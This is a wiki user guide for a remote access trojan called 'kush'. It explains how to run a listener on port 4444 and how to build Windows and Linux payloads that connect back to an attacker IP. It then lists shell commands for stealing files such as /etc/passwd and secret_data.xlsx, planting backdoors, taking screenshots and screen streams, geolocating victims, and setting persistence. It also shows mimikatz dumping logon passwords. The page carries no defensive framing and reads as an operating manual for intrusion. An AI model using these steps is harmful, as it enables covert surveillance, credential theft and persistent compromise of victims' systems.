-
Notifications
You must be signed in to change notification settings - Fork 0
user guide
SAM X86 edited this page Sep 27, 2025
·
1 revision
python3 listener.py -i 0.0.0.0 -p 4444Parameters:
-i, --ip: IP address to bind (default: 0.0.0.0)
-p, --port: Port to listen on (default: 4444)
python3 builder.py -t windows -i 192.168.1.100 -p 4444python3 builder.py -t linux -i 192.168.1.100 -p 4444- -t, --target: Target platform (windows or linux)
- -i, --ip: Listener IP address (required)
- -p, --port: Listener port (required)
- The builder creates standalone executables in the dist/ directory. Transfer and execute the payload on the target system.
- Once the target connects, you'll see confirmation in the listener and get the kush> prompt.
- Basic Shell Commands
kush> whoami
kush> ipconfig
kush> ls -la
kush> pwd- Any system command can be executed directly.
- Download files from target:
kush> download /etc/passwd
kush> download C:\\Windows\\system32\\drivers\\etc\\hostskush> upload malware.py /tmp/backdoor.py
kush> upload config.txt C:\\Users\\Public\\config.txtkush> cd /tmp
kush> cd C:\\Windows\\Tempkush> screenshot- Saves as screenshot_[timestamp].jpg locally
kush> start_stream 0.5Start with 0.5s interval
kush> stop_streamTo stop streaming
kush> get_gpsReturns IP-based location information
kush> windows_persistenceWindows persistence
kush> linux_persistencelinux persistence
kush> whoami
kush> systeminfo
kush> ipconfig
kush> netstat -an
kush> screenshotkush> cd C:\\Users\\Target\\Documents
kush> download important.docx
kush> download secret_data.xlsxkush> upload mimikatz.exe C:\\Windows\\Temp\\mimikatz.exe
kush> C:\\Windows\\Temp\\mimikatz.exe privilege::debug
kush> C:\\Windows\\Temp\\mimikatz.exe sekurlsa::logonpasswords-
Use arrow keys for command history
-
Tab completion for file paths in upload/download commands
-
Typo correction suggests similar valid commands
- Exit gracefully:
kush> exit-
Listener will wait for new connections
-
Restart payload on target to reconnect